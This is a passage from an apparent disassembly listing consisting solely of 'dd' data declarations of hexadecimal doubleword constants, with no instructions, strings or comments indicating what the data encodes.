		dd 0A447CE1Ch, 485A5C55h, 683C2BD2h, 7C193620h,	25159FCEh
		dd 7510BBACh, 33ABC680h, 0BC9B965Bh, 41C7B368h,	0FF778505h
		dd 79F51471h, 943E45A7h, 0D6D7A8FCh, 0B8B0241Ah, 432EC4D7h
		dd 0E67269D1h, 0BBC5B19Bh, 0F9B2EE81h, 5B66A7E3h, 674625D1h
		dd 0BF584E58h, 75A5852Eh, 0F7D53EA2h, 0C67D69D7h, 0D4AFB667h
		dd 0E74C4171h, 0F67D50AAh, 0D494A947h, 97C61D60h, 2405F781h
		dd 2C28DDBBh, 0F1ED1835h, 2B7DBDDCh, 0D48CAA2Eh, 0B811CFDDh
		dd 0DC263C51h, 47E5DEE5h, 72749513h, 0F30600E9h, 0FD9D9B3Ch
		dd 0B2DDA320h, 84DC56C4h, 0C6820CEAh, 0EE347898h, 1C733BB2h
		dd 86BA4B23h, 0C7DDC75Eh, 74ABB988h, 83B0D0E5h,	41EA8EF6h
		dd 3F8F8358h, 7FE9040h,	1151A42Ah, 0F9910637h, 98D29555h
		dd 0C7E3EDB8h, 1AFEE132h, 18B73C31h, 549D19AFh,	0E8362148h
		dd 2EEA8864h, 24E30B48h, 13CE7CBh, 0DB0AC227h, 1CF83BB1h
		dd 0ED8CA04Ch, 0C9F97C6Dh, 9F08D49h, 5FAF225Dh,	2DE31856h
		dd 829955DDh, 88008DD6h, 9A3882A0h, 2DB4E77Fh, 0F87E12C6h
		dd 0DCD332C9h, 685BE6A9h, 742CD92h, 5B3EDEEBh, 7F00A51Fh
		dd 1DEBC2A4h, 0E837829Dh
		dd 0D49E92DCh, 0A06E03DCh, 68A34E30h, 0E9EDA415h, 3AEA0909h
		dd 8A0242CAh, 8D732D51h, 0AF102ED0h, 5C690204h,	8E1BC488h
		dd 0F2521AB0h, 0C953432Fh, 0DAABD659h, 25EF9DCBh, 0C8F46F91h
		dd 26DCBED7h, 0C1C9751Ch, 0D99F3148h, 0FB93C9B4h, 0E7B50ABh
		dd 0F249E742h, 98CE0558h, 25783C2Ch, 0E21FF892h, 0D0616C28h
		dd 0BEC783Eh, 70D9CD1h,	0F6A16E41h, 0A1A6369Eh,	78A38BF8h
		dd 408C691Bh, 9736A69Bh, 87EB2D63h, 4B4A3D23h, 0FF964025h
		dd 7E60D479h, 1B06252Fh, 57B6CD3Eh, 0C9723F40h,	0FF48C6B4h
		dd 0C02588F2h, 77654B2Ch, 0A76332h, 0CA25D517h,	0EDE59EF0h
		dd 0ACA5D66Ch, 0DABFB0Ch, 74F06549h, 8D388408h,	1777DE55h
		dd 0C0AF59C0h, 0FCA9E8A7h, 4BB6BDBAh, 695AA5B6h, 98C27238h
		dd 915C1218h, 5CC00E75h, 9CCA4048h, 0C57A951Dh,	71B8B4D5h
		dd 0D2A1900Eh, 69FFA3D4h, 0AEF385C5h, 0C2302A12h, 0F9A93B00h
		dd 0BA659812h, 4D0885h,	2D47C9B1h, 0A74312AAh, 0E925C256h
		dd 64F6044Ch, 4913D739h, 0FA448D90h, 0B31D109Fh, 0BEE3F6F5h
		dd 0AD547F78h, 0E1AD90ADh, 0D1405A41h, 8EA5EED9h, 9C1C1787h
		dd 5E1F877Ah, 18CD588h,	9027AE94h, 0F65A8B5Fh, 3A85AA4h
		dd 0C6C144A1h, 0BFCCAC0Dh, 217516EAh, 0F6E63960h, 89BCCB0Bh
		dd 0ECA086D4h, 3BECA0A0h, 94403C5Ah, 2CCCAAD8h,	7BFA6F7Bh
		dd 8CB90B5h, 9C88F05Eh,	1DAE2E7h, 34F715FDh, 971700BDh
		dd 44B09534h, 7C3EC255h, 0B7B781B3h, 0F0A2EB10h, 8D281DAFh
		dd 6F4A6E72h, 3E6034CAh, 0BB386E5Dh, 0C3A8F0F7h, 5E9C40CDh
		dd 97BB4A94h, 32D0025Eh, 0C3385B44h, 8D3F0496h,	42B5C37Eh
		dd 0FB9ED20Ah, 7593D1D9h, 746AEE76h, 1BEECB42h,	19FDC4DEh
		dd 66E1E92Eh, 0D5CAC318h, 0F283E9D8h, 21C00517h, 0B499C198h
		dd 13DF1659h, 6240B086h, 0BA29C2E6h, 9999C83Fh,	0CCC2C23Eh
		dd 15371BB9h, 13CFD0B3h, 6DF0D83Bh, 41D104E3h, 4B39120h
		dd 79D119A8h, 0B1857634h, 652B735Fh, 0F28B2D2Dh, 46466618h
		dd 8BFFC4F4h, 0A81C285Bh, 0EBEEC53Fh, 3B410F09h, 3C7946B3h
		dd 0C686F265h, 28D26800h, 6FD3426Bh, 370F6925h,	88FADA5Ch
		dd 73747DC1h, 7B9045E4h, 0F7AB00F4h, 6789F1ABh,	2EA2B6D8h
		dd 0EC02534Dh, 0DBE9CE64h, 46EB12C3h, 0BFBDA7C1h, 95E943C3h
		dd 0FD455181h, 0EC4FF603h, 0DBBD32F6h, 80255E50h, 0C747E021h
		dd 0EE4FB9E9h, 0FC702407h, 0FB5629FEh, 77DF0B40h, 0F4FDAB8Bh
		dd 0A746BBF2h, 403224CFh, 3A135370h, 43B9BE2Bh,	0D5F378A4h
		dd 0D9E95CBDh, 7937972Dh, 0EE0BE5C3h, 2BBE64ACh, 46830E53h
		dd 0AFA2D553h, 1FA6A73Ch, 96AFB5E5h, 742A67F0h,	0F7934ABCh
		dd 0AF344CF6h, 905A794Eh, 1001FECh, 54EEEB43h, 0F4CA26F8h
		dd 1F933E99h, 37AD30D9h, 0F121E1FDh, 0E2BD30EBh, 0C07FCAACh
		dd 7D7A8E70h, 15C57BC2h, 4570B0B9h, 47500088h, 0F3F1B75h
		dd 0D8453EA7h, 346CEFF7h, 1C3E6215h, 0CE68CDAAh, 19D818F4h
		dd 0D099BF82h, 198C40A7h, 0BA00AA81h, 92FFBBA9h, 0F6E02F3h
		dd 77928871h, 85D7186Ah, 6A145F14h, 315C9AAAh, 3DA2F3F6h
		dd 0E3EC7065h, 0C8E5F112h, 0CA390592h, 0C1421DE8h, 4688F205h
		dd 5ECEC221h, 0E2C2DB13h, 0F21E46CCh, 0E12C106Fh, 2058620Dh
		dd 248E4C7Eh, 3EA6240Fh, 648DC973h, 6D528FF7h, 82667C38h
		dd 0DC0507A0h, 22140755h, 0FC822F02h, 1D1F8EB4h, 75A329C2h
		dd 4188DFBBh, 35ABE715h, 16836ADAh, 222AABAAh, 7748E8EBh
		dd 5418F9A3h, 0F64EEE6Eh, 49B6C297h, 8D723E38h,	0A01CB330h
		dd 0A0146CB2h, 4EDFF59Ah, 0C7391900h, 1047E55Bh, 0F60D7CF2h
		dd 4556F6E0h, 9FDE249Ch, 90FA08DDh, 36DD7449h, 9E4C91DEh
		dd 9597D323h, 203EECF0h, 9844EB67h, 55A0B383h, 0CB443ADBh
		dd 96FC87ACh, 1571EE8Fh, 0CB1C28F2h, 9CF32D2Eh,	1F90D4C9h
		dd 569517Eh, 380D9C87h,	0F295A0F7h, 72E5CEF0h, 0BC41A0B5h
		dd 97B6F547h, 3BDA989Bh, 0EB8C3FA2h, 7FFC5518h,	85C6F32Bh
		dd 6C0B1A7Ah, 79304F1Dh, 3328E6C9h, 0F881A45Ch,	659CD897h
		dd 328899F7h, 4B9C2F4h,	367352F0h, 0E1DE7B2Dh, 9BB8B3F8h
		dd 0EE2E142Eh, 3D13EC01h, 86B285E9h, 0AAD95A4h,	5766D566h
		dd 70E253FFh, 46E47A38h, 9DB1EF98h, 5305D022h, 36F120FBh
		dd 85375223h, 5F9D6863h, 9237BB17h, 5602F9BEh, 34A0B51Ah
		dd 0F171D4A6h, 2CD0F9ABh, 0EBC460B2h, 76786CAAh, 1DC21EAFh
		dd 0FDA29A66h, 0CF565C68h, 4B932784h, 13207884h, 0B6C47E37h
		dd 729707C5h, 7E040B15h, 1A09767Ah, 9A43C6DEh, 7DF4B0C7h
		dd 0D8594039h, 0C8C2D323h, 0ABF2D81h, 61BB47Fh,	0FDCE388Ch
		dd 1B690622h, 4B9392DEh, 0C5312C5Dh, 0C7B9479Dh, 16842441h
		dd 45F1D171h, 352F15EEh, 2F6E901Eh, 509A255Ch, 9DECF041h
		dd 95EA2F78h, 0CF1DA65h, 299653E2h, 137E41EBh, 0E681A267h
		dd 0BBD509B6h, 0D5F1B950h, 0D7CEFB6Fh, 0E80078D9h, 6C7761D0h
		dd 8AA5AFE7h, 799CD665h, 0E10E041Ch, 4B01B6FFh,	5704731Eh
		dd 0DC9D9C3h, 0EE993A79h, 1EBE9CE7h, 7436FB2h, 7CBEBB66h
		dd 0B45AF9DEh, 8D1EB217h, 0AC471DCFh, 0CBFA2E4Dh, 83D7D68h
		dd 0BC00F0B6h, 378543A6h, 650C13E7h, 0DA3E6845h, 2B4B35BEh
		dd 0AE60AAAEh, 41379D45h, 7ED04007h, 10BC3E22h,	5BD21C47h
		dd 0E2E320FFh, 5A1060ABh, 0F0D21D4Eh, 0DD66EB02h, 2AB04256h
		dd 4CCE3D92h, 4A54BE8Ch, 5F0D2F7Eh, 0B06A3BC9h,	4D52963Ch
		dd 40DF4037h, 0CDEADBBEh, 92FE93D4h, 29123A10h,	5E78E06Dh
		dd 3B1D14A8h, 6B5C02EFh, 0BEAFF908h, 0D7DE1C3Fh, 71291058h
		dd 91553A8Ah, 0AD5CA37Ch, 0D68597ACh, 53ED7F78h, 320D90CCh
		dd 89EB0617h, 8ED61231h, 6DD3A5B2h, 7CF34FCDh, 601BE798h
		dd 111054D1h, 15D0B1FFh, 594AA024h, 0CC24012Ah,	0C0C7116Fh
		dd 711D83B1h, 0D175CAA3h, 0D5D1F30Dh, 17FB66BFh, 3C3A819Ah
		dd 0B3A3652Eh, 0D7A61C47h, 0ADAB7DCCh, 0F92DDD4h, 1C3BA39Bh
		dd 1E8183FAh, 3CA75AC0h, 78D4D26Bh, 8BAD0163h, 20CF4AA1h
		dd 506C63D0h, 3318D262h, 5C8D3180h, 45C1651Fh, 0CD00CDA2h
		dd 0A98E5C09h, 571114C6h, 89811BA2h, 0EBD1AC4Dh, 8FDEF633h
		dd 3B934D4Ch, 39FB4092h, 0B1CE8F9Ah, 7A107DC7h,	0FC2ECBD6h
		dd 6BE4A36Ch, 0BBFFA6BCh, 8D69C11Ch, 388C939Dh,	0CE78A562h
		dd 0C655AECFh, 0A5E9BA5Dh, 1D2B07AEh, 7577F072h, 5FD935C1h
		dd 0A2FF4DCFh, 0B5531E87h, 0C8B6B6E0h, 9F248FCBh, 0A7C89481h
		dd 6A5EF3D7h, 0AF7A071Ch, 3FE22FA8h, 16ECFA31h,	57C918A4h
		dd 0A94E4AA3h, 43F61BBAh, 2FD66FC4h, 0C2BD9DE0h, 0DB95AD24h
		dd 5055541Bh, 0A2880965h, 63A5736Dh, 75FE3503h,	7AED4E16h
		dd 62B6D514h, 0ACFEB85Fh, 3B73E582h, 297FCF5h, 75483BCFh
		dd 1157EAE2h, 38012976h, 65D88EEh, 31E7A7E6h, 6F4D1E39h
		dd 7879B5CBh, 1A309F32h, 9188AEF7h, 6E7B3DF6h, 63D8CBCAh
		dd 69D47972h, 8C9F05B8h, 0B3676881h, 0D9D124E7h, 0F24439D8h
		dd 0A2C7C400h, 41664508h, 0D6C75C7Ah, 154BDE7Eh, 3E44208Eh
		dd 2AC3ACFCh, 38E97176h, 14FD74D5h, 10A97785h, 32A47A9Bh
		dd 0A0141C08h, 98999AB0h, 90244793h, 0B96B8C5Fh, 508B3086h
		dd 0C4EFACADh, 9BF56FEEh, 6B375F82h, 0ED467509h, 0BADD932Eh
		dd 1E92DA3Ch, 38864FDEh, 0A9C55C7Ch, 13794E33h,	6D2D5566h
		dd 2CA44DC8h, 27EC06F5h, 0D41D16CBh, 4802B0D7h,	22D58412h
		dd 86AAAFB1h, 7F18225Dh
		dd 0D9B415B7h, 0B49A3BBEh, 1E431C29h, 175E8C85h, 0E84C6A66h
		dd 3BDD3C24h, 0D03B95FDh, 0EB183133h, 40BA7109h, 7EA1A83Bh
		dd 0BB385A6Dh, 0CB522116h, 6DA89F9Fh, 264E8FBAh, 0F55D5175h
		dd 4C5DD57Fh, 6B6C61A8h, 6C9BF168h, 8A552D95h, 0C16E1D80h
		dd 0F5FEC31Fh, 0A39C7EA5h, 0F7EB3BD6h, 0FD213F72h, 0E715ED8Dh
		dd 2CB7F689h, 36FF00B5h, 0CD797DFEh, 3EC8EEAFh,	460BF27Ch
		dd 53F819B4h, 8C19EC88h, 2F14580Bh, 0ADC8D9B4h,	500697CBh
		dd 67257681h, 0CA3AF022h, 45298691h, 355BFFC8h,	5C0A57BFh
		dd 1075F6D2h, 0CC9A80B5h, 0B40A50D6h, 6BCD967Fh, 4B328BF4h
		dd 26494148h, 4C1D7AAAh, 0EF6787F5h, 24E31AF6h,	0D65292B4h
		dd 1FA5E1FCh, 9FCD397Dh, 436F5916h, 5C07B823h, 38F4BF74h
		dd 0C766380Eh, 0F87DE72Dh, 2A42491Eh, 0F2202116h, 2DAABE12h
		dd 0D85E3EE7h, 8640C76Fh, 251BEDC3h, 2B11C481h,	76CCFA3Fh
		dd 657FF224h, 16BEE531h, 0E7ABA5FAh, 4F5F866Dh,	40B6F0D8h
		dd 880B2478h, 0BEA4233Dh, 0F74422D1h, 0C271FA31h, 1E236E91h
		dd 0F208D788h, 0E91785Dh, 1BB8E674h, 0AF9AEBACh, 0D262B1B5h
		dd 3F9824E9h, 2BD48E5h,	53F70DD1h, 495AF861h, 4AD67E3Ch
		dd 88F6A632h, 0E1A2CEFFh, 0A6812E66h, 0D448F1B0h, 0C0ED119h
		dd 385B687Eh, 794FE713h, 9D93E4EEh, 0FCD160D9h,	40C19D50h
		dd 2973D8B7h, 722D2152h, 0BFA3ABA4h, 53407554h,	0B01D2668h
		dd 64F91A61h, 1E5F57EFh, 3653A143h, 6CC82DE5h, 0E2CFEF96h
		dd 7A10C8C4h, 0A41F7396h, 8B727E12h, 6681B420h,	0E2627B9h
		dd 425757E1h, 7CE82715h, 7591ECD2h, 0D700FA03h,	460CA12Fh
		dd 0D38AFE94h, 8A144770h, 1E946225h, 0F1EFAEB5h, 8D6260FCh
		dd 0ED74A3A1h, 84D9E917h, 32FCBE18h, 33F0DA44h,	587C56B7h
		dd 0E82B7A8Dh, 2F51DD26h, 447D2716h, 0D0D51894h, 3DDFA22Fh
		dd 4373F625h, 0EB02BF7h, 645DA564h, 35B77D56h, 78D12BEh
		dd 0CF189C49h, 10979CD9h, 0F4F91725h, 0C91027ECh, 0FAF62692h
		dd 84B3C72Bh, 0AD7A5FA9h, 9A6DC5DBh, 248565E6h,	788D7C0Dh
		dd 0A75A5401h, 0AF28EAE4h, 2E7A26EBh, 0E4A7B4D8h, 87B10963h
		dd 143E066Dh, 87DEC8EAh, 84E4B0C5h, 0FC96837Dh,	2D6C643Dh
		dd 0BA393270h, 0CF031044h, 38F3CF30h, 35B47996h, 22D66B54h
		dd 7E83D6E4h, 0FE9326C8h, 2250E387h, 8B265B49h,	3FCD86DCh
		dd 0ACE2FF63h, 705D4154h, 0C9919056h, 533C4831h, 0D103CC2Ch
		dd 6684B96Ch, 7BBE42BFh, 0DF15131Fh, 4950CAAAh,	9E1F6696h
		dd 71D1343Eh, 34CBD3D4h, 0DC4DFE20h, 7485B585h,	0B888C91Eh
		dd 4B675FF7h, 3AC44583h, 341C5469h, 94B80170h, 3B0EDB5Bh
		dd 93EB33E7h, 56FC9D22h, 286F587Ah, 55F096EFh, 0ABCBB3C9h
		dd 724E06F1h, 578EC6Fh,	6D385A47h, 6AAD3518h, 0DAB14521h
		dd 0EBFA17CDh, 92AB543Bh, 71B71DF3h, 508EE800h,	5D61216Dh
		dd 0FB1431D7h, 90A84080h, 52771B74h, 0FA901022h, 0C90548CEh
		dd 63F61BAEh, 802ED0C7h, 0D3ECFF61h, 0D6D13631h, 41348DA7h
		dd 0D9AFF2B9h, 0CB176C38h, 27306A57h, 26F750BBh, 0D63F7283h
		dd 0B205C28h, 0A127B8EEh, 3C5D09FAh, 31F12E52h,	3324EA59h
		dd 43BB540Ah, 771F4F05h, 0B9C39CF8h, 0B9F644A9h, 8E283CD4h
		dd 1BDABDA3h, 4F460E5h,	8C018AD6h, 0FB62645h, 99EA840h
		dd 0DEF3C2D5h, 9CE38667h, 12F2FA45h, 13C58CCAh,	25520818h
		dd 0A2C5F3FAh, 839F7168h, 9031AE3Dh, 3533B742h,	0A9308097h
		dd 561D048Bh, 5211366Eh, 0B89F511Eh, 365DDF52h,	87906049h
		dd 2FD5FBA8h, 78A60CFEh, 9DFB09D2h, 0CAB9FEBCh,	9CEF3ACEh
		dd 0E140F44Bh, 0CC45DC7Bh, 1D15EA21h, 0B290DBD7h, 540AFAF4h
		dd 0E02013Bh, 0D519A1D0h, 0EA0223E6h, 6DFDEF9Bh, 87EA54F8h
		dd 0E14474F9h, 42D0594Bh, 0BFE168E1h, 558E7E8Fh, 0D9606545h
		dd 0D0A15414h, 7D647510h, 0CA55B5F7h, 933D4140h, 0C111CC19h
		dd 0AB9F4002h, 5A4EDDF0h, 0B5205114h, 74E2E7F3h, 7E54D3BEh
		dd 46AA7A2Bh, 65043B7Ah, 6E71BA63h, 931CA092h, 10A7AF57h
		dd 0F61FA505h, 579FD189h, 7310DEB3h, 5BAEC2AAh,	0C7D37EA8h
		dd 45895C94h, 19D0D4A6h, 9A8C5316h, 0FBEC6980h,	39197B89h
		dd 8DC24008h, 0A66EA1Dh, 0DAE82D0h, 0DED8EF90h,	85CE63EFh
		dd 0C98AFEB8h, 70F2E554h, 248FFE33h, 0A9119E06h, 0B2DEB2C6h
		dd 13E84FA1h, 4D4AABFCh, 0BD076D1Fh, 0A07DB91Dh, 9594527h
		dd 0DD9F7F47h, 0E302595Ah, 983E5C44h, 12B1413h,	7012873Ch
		dd 2DF2432Bh, 8DBEEF9Bh, 678243A5h, 0E56D4D87h,	93528CBBh
		dd 6492EC23h, 0DA40696h, 0F6904CE0h, 4FB3A471h,	1020AB98h
		dd 0F4635736h, 0B813EDDDh, 0BFA66730h, 783AE40Ch, 0C1F7A346h
		dd 0F219E1D7h, 4E00906Eh, 0B26D2127h, 2988A7DFh, 0D7832CE5h
		dd 537207F4h, 0DC21C4E9h, 0BC1F1AD5h, 0CAF71791h, 80D3EE37h
		dd 0F9544DE6h, 0C22A3F6Fh, 0D0BC92Fh, 0AB7B7BBAh, 28042053h
		dd 637E138Dh, 1DEA3BC4h, 1E63305Fh, 0C22DDE7Eh,	0BE01ACD4h
		dd 0B905A67Dh, 0C3025C88h, 0B4BDA24Bh, 0C6CF194h, 400C78C3h
		dd 7437344Ch, 9EA2E985h, 0DDBCEA1Fh, 0AB65DC1Ah, 36FA5A46h
		dd 0C6145672h, 6B6645E4h, 2F592FB5h, 0D118D549h, 17E55753h
		dd 31294293h, 0CD0AB637h, 0EFFFA411h, 9F7345BAh, 389F391Bh
		dd 0CB795A64h, 0CC2BE50Ah, 2270AEE2h, 0C1D1CA9Ch, 5E5BC24Fh
		dd 2616CC40h, 33D4D423h, 0CE029B45h, 4E8304A4h,	0D93478DCh
		dd 0B82F0F21h, 66ECA5DEh, 41FF6C86h, 9BA876E6h,	3512B9B5h
		dd 0C3272CFAh, 82BEAB0Dh, 0CD8215CBh, 0EE795613h, 7E0EC46Ch
		dd 524326C9h, 30855D4Eh, 9A26C445h, 78A8D7Fh, 3A269F36h
		dd 885E4610h, 3C65797Dh, 83A22117h, 0D1AE1548h,	0E3658C4Ah
		dd 928A64A0h, 72616FE9h, 0C7DDB058h, 5C7E3E40h,	0E7AB177Ah
		dd 44906F44h, 0DBADACD3h, 0CF7F909Ch, 17FFF964h, 0E1B8AA2Eh
		dd 0D4C5F5DBh, 0D50E49C7h, 0C22708B0h, 2939F8B8h, 44BDC6A3h
		dd 89C37C05h, 0D2541110h, 0BA51BC0Ch, 68046FECh, 633A9E25h
		dd 0D002E4CBh, 0DAC3CBA1h, 5C2E9ABFh, 0EA77F00Bh, 777073E5h
		dd 142D0E6Eh, 208E3D98h, 9F0E1B7Ch, 75DBF1D0h, 0F351F2DBh
		dd 0F3C94E27h, 0BFB630F9h, 9A663FCAh, 587D8E8Dh, 544D2D04h
		dd 400000F3h, 0B893DDC7h, 6FBBFD51h, 5B816884h,	0D0C9112Dh
		dd 0B40D96E2h, 0A9B07C4Eh, 15839738h, 6DD9009h,	0B6361975h
		dd 0B337C532h, 98243BE1h, 0EBE8F9FFh, 792A29DDh, 0B41578Ah
		dd 0E1FBFAA6h, 7F92A5A8h, 0C2AE6B87h, 778DC48Bh, 3F8E7061h
		dd 11869F00h, 9459A959h, 0C00FCAEDh, 0CACE8CDAh, 4CA4E7D5h
		dd 0CB05953Eh, 3F3575A3h, 26824EDh, 526EC64Dh, 4FDBB630h
		dd 0FBF09F77h, 0C3FEA476h, 233C1EEAh, 59076242h, 6A0C86F6h
		dd 58A87EFDh, 9CC8105Ch, 0C2E605A0h, 2B735464h,	9AD24A48h
		dd 362F037Ch, 91371A14h, 86C0C920h, 7FC9E11h, 0A286D2A5h
		dd 13D6E074h, 13B5779Dh, 482A0952h, 0C2C08CC4h,	0B2E13A24h
		dd 0DF0320DCh, 159D7000h, 95619E36h, 92B15499h,	894467C7h
		dd 1CCC783Ah, 0E1D701D8h, 6AFDD06Dh, 0B6D1992Bh, 2E6874BFh
		dd 0EC004F50h, 18EFDAF2h, 0E664787Ch, 0A88DDEB2h, 89E459E2h
		dd 6E4C3259h, 0D70CCFCEh, 0E428786Fh, 59E6F355h, 0F55EC451h
		dd 99F2C7CBh, 0B3DBA79Fh, 38614C8Ch, 370F25DCh,	0B6346C89h
		dd 0FF6BEE6Ah, 23AB939Eh, 29927EE9h, 23CF2921h,	4EFAAADh
		dd 0F429F6C5h, 149C0653h
		dd 0D06FCB0h, 0D568063Dh, 0DA6CAEE9h, 65CBACA0h, 3F2C1161h
		dd 5910D5F3h, 0CBB3515Fh, 0EA302338h, 65222431h, 9D9FF519h
		dd 0EC0DD3B8h, 9A62484Bh, 9FA73F8Ch, 7ADA5286h,	68733F0Ah
		dd 19138210h, 2CD4C24Eh, 0B3264B2Bh, 6CDDB77Ah,	9DFFBF0Fh
		dd 0A4F2B749h, 73AC64F4h, 0DC5F1126h, 191CF157h, 47F87462h
		dd 0C2C42F9Ch, 84400502h, 0AE450B97h, 296EC61Bh, 9FF278CBh
		dd 0AD12281Fh, 93BEE843h, 899CA8F9h, 0B5CB26E9h, 7CCC09A7h
		dd 0D17CCB50h, 0F0F4FA96h, 8302CFF9h, 0EEEDD76h, 511F8334h
		dd 0A52CB086h, 0A0674F80h, 2C08EC8Eh, 1AA3C791h, 3EDB377Dh
		dd 0EB9B4506h, 1A21AE65h, 0BE4FA1DDh, 0EEF6A9CAh, 0C6E7579Eh
		dd 0EE2514E6h, 0E3C3D309h, 0B6A66F92h, 0F78832DAh, 4F0564EAh
		dd 0B621CE09h, 0E566B4EBh, 0A022CBECh, 86EF74FEh, 85631B3Ch
		dd 6B214D14h, 617C2ADFh, 17B98A6h, 76A5E733h, 7A6BB342h
		dd 0CEB257BDh, 0A065022Bh, 0BFEF216Eh, 0FA8F4D2Bh, 0A0605243h
		dd 0EEB6DFDAh, 4DD95756h, 407A7035h, 72EE6EE0h,	75FB391Eh
		dd 53C0A588h, 0E4BD7D64h, 96B58193h, 0A5D08ADFh, 0F189A306h
		dd 31B34C26h, 0D81EED57h, 0E6DB021Ch, 0B252AC70h, 128D666h
		dd 451A57A0h, 0D91AD4DCh, 372092D6h, 0DDBA099Dh, 0CEABE3A7h
		dd 9CD47E22h, 4591A6C0h, 517B66A4h, 0D410DF2Bh,	0B2AA4929h
		dd 0C8A5F34Ch, 0C526FAB9h, 8D6376D1h, 78E32C66h, 68503DEBh
		dd 0FB7F7920h, 30617C5Eh, 0C391BECAh, 964DFED6h, 65DDC932h
		dd 0B03F408Ch, 1042AB45h, 3016DF55h, 0D56DB5C8h, 1C1B3DBAh
		dd 54579259h, 0BDFFA7FCh, 0D1F51733h, 0D90EDD45h, 86F25F99h
		dd 165C1C58h, 61D0B5C2h, 0FB71F77Dh, 0D8743212h, 1B98961Bh
		dd 8B9BF545h, 9BE9201Dh, 0DE95D3E5h, 526159E1h,	0A3CCB686h
		dd 0A4EDB4CAh, 6B525A92h, 91676CD8h, 4841CC90h,	692B43FAh
		dd 8BED21D6h, 5ACFA8D9h, 2993F887h, 250A4ED5h, 0B75F99BDh
		dd 1830E7B2h, 0DC8F6001h, 702A49A3h, 0ACA6CAB2h, 7F40AF25h
		dd 5C8C9E91h, 9F8A9F22h, 9DEF71E3h, 18CD43D3h, 0D8551BC1h
		dd 0A0E824C0h, 17919C08h, 7307EA0Ah, 42B7FC49h,	0AA4F9562h
		dd 0CCF5457h, 6A6BF088h, 0D8F02A4Ah, 0DC106821h, 8030AA87h
		dd 515379C8h, 57FE92BAh, 9B929931h, 0D6C662CBh,	0C2A419D3h
		dd 70C48BAAh, 48449AD0h, 0CF723F49h, 0A77FDAFFh, 4C5F5E11h
		dd 0BB3DE96Ah, 868B4DBh, 4B622B38h, 5C652359h, 2C97BD03h
		dd 630F289Ch, 81678ECBh, 98EB306Dh, 3DD255B7h, 12BA15A6h
		dd 0DC9D363Bh, 35679FF9h, 0C4A63137h, 83511D93h, 304E3C5h
		dd 3ED5415Ch, 2E10F63Eh, 6F9D87A8h, 0F8844FE2h,	0D37E42CFh
		dd 6855181Fh, 11FACEB4h, 5EFF1229h, 0DAB093DCh,	1DC3901Bh
		dd 0B9B742F0h, 87E1B409h, 0AE0DE9E4h, 36EE4130h, 7337CEDBh
		dd 69CB5D23h, 0B62C33E0h, 295D9C6Fh, 274A2E3Bh,	231E2336h
		dd 0B2494B6Fh, 0C7981E6Dh, 0C37826B0h, 678CF9C3h, 8A152AC5h
		dd 5DB8F311h, 94AAB668h, 36190EF4h, 71F3A105h, 8A9A19F5h
		dd 4299A38h, 0BB3840E7h, 0BDB46F1Dh, 1C8003D5h,	4E32A546h
		dd 0E906F3Dh, 2CA5E1FEh, 770E1930h, 5F61AC65h, 1D109027h
		dd 0C0AB3C97h, 0DC8248ECh, 2C1C0F7Ah, 0B2EB1D27h, 86E6E10Ah
		dd 0CF7A58FDh, 0F50B669Bh, 4F23C066h, 0C9A838ABh, 0E16CAFC7h
		dd 9F9C6C51h, 0DC4AA064h, 443B25BAh, 61C730E8h,	0E65B5Ch
		dd 0C41FED78h, 265861Ah, 5BC2A57Bh, 0E8053F85h,	113DE30Eh
		dd 0AF7FC5E5h, 0A0E69899h, 84003D2Eh, 0F6965301h, 51BD3F0Bh
		dd 0F536D703h, 0E209BFBEh, 0D7F697A1h, 9D6EA0B0h, 390E36F3h
		dd 20812499h, 84CF1C25h, 8C3FF271h, 2B973CDEh, 0FEA9A961h
		dd 8008F2C1h, 0DCF99CD4h, 3BDADDEBh, 83D224C8h,	0BFD35059h
		dd 4E6B45F6h, 95670CD3h, 4C532A56h, 0A86EADC2h,	4C924FCCh
		dd 90028A03h, 3EDBD214h, 0E9E82AEAh, 5DCD4BE3h,	6878B139h
		dd 7AC2712Dh, 0CFE69C8Ch, 0E7FE2864h, 0D242ACF5h, 0F6A0513Ah
		dd 74B0E57Ch, 0F86C2FE4h, 0CC584699h, 949469A8h, 87DBF3CAh
		dd 23306CC4h, 95F78D8Dh, 0B7C918D5h, 0C145D007h, 7579032Bh
		dd 191C6EDDh, 0BAC4B80Bh, 8D507538h, 0F2ED21B7h, 3D16B055h
		dd 5D41EDB1h, 0BAC2097Eh, 59E88987h, 0B45A3CF8h, 0D168BB10h
		dd 2E89779Fh, 0E356F96Ch, 261452ACh, 3297A2C9h,	7BEBC9A7h
		dd 3C20FF6Dh, 0A6FFB999h, 7E458E98h, 7B861E32h,	5338C54Ah
		dd 6C2BF440h, 6846427Ch, 9C6620A5h, 5AFDC817h, 0A5975C96h
		dd 0C11A2E45h, 8C56495Ch, 0B1A82703h, 738181D7h, 6730B724h
		dd 82693EE5h, 52339EFBh, 9251CADh, 0A285BB35h, 4715F023h
		dd 0CCBE3F67h, 159B0BF8h, 0C16FE287h, 5F521EDh,	218BEAF3h
		dd 0A0F646C8h, 70EE7707h, 0A41C9242h, 0A125AF29h, 8646109h
		dd 0B90DDACFh, 0D8BCF8EEh, 0DAFE07E8h, 0AFB25B63h, 2E0F16CAh
		dd 79572A93h, 612E2E88h, 0A93DBC8Eh, 0C6324CEh,	32050210h
		dd 72FB8198h, 382285E5h, 53B09EDh, 7A10047Bh, 15627B7Fh
		dd 97E43979h, 5046CC13h, 38886F5Fh, 6FA10B49h, 0CC736264h
		dd 3C2F086Ah, 5B487F6Ah, 0EB4EE16Fh, 78C1C64Ch,	858764FAh
		dd 0F9155D5Ch, 25341A9Ch, 11210D06h, 3095854Bh,	6F372B87h
		dd 0DB43FB8Ah, 6B07761Ch, 7EF0C74Dh, 959AADA7h,	1D5C992Fh
		dd 14536C86h, 0F2C0C1A6h, 0FBD1040Bh, 0AD011A63h, 0ABB3A1ECh
		dd 0A4653E6Dh, 16734041h, 87C0983Fh, 58CE1424h,	0D73952h
		dd 44040EFCh, 0B7CAE62Eh, 0BEFDC9C2h, 3B096C88h, 1F99A760h
		dd 8F799F0h, 7D288AE1h,	8843CC5Ch, 0E9AC21h, 972EE342h
		dd 92A44AEEh, 0A3CE213Fh, 2E5CC09h, 1FE1C5BBh, 0E2DDAEEAh
		dd 2E199559h, 0B66769CBh, 0C339130Eh, 0D4A1B2B6h, 0A72E4EF3h
		dd 0B1FC51F3h, 0C7F24DF5h, 99503A22h, 3D7F8613h, 0C3951C4Fh
		dd 43092D22h, 618964B4h, 7AD6DDA5h, 0DF1D73BAh,	0D2B8DAC0h
		dd 0F570FBFDh, 27D53BBBh, 0D6E5F09Ch, 7C19D581h, 0B304397Ch
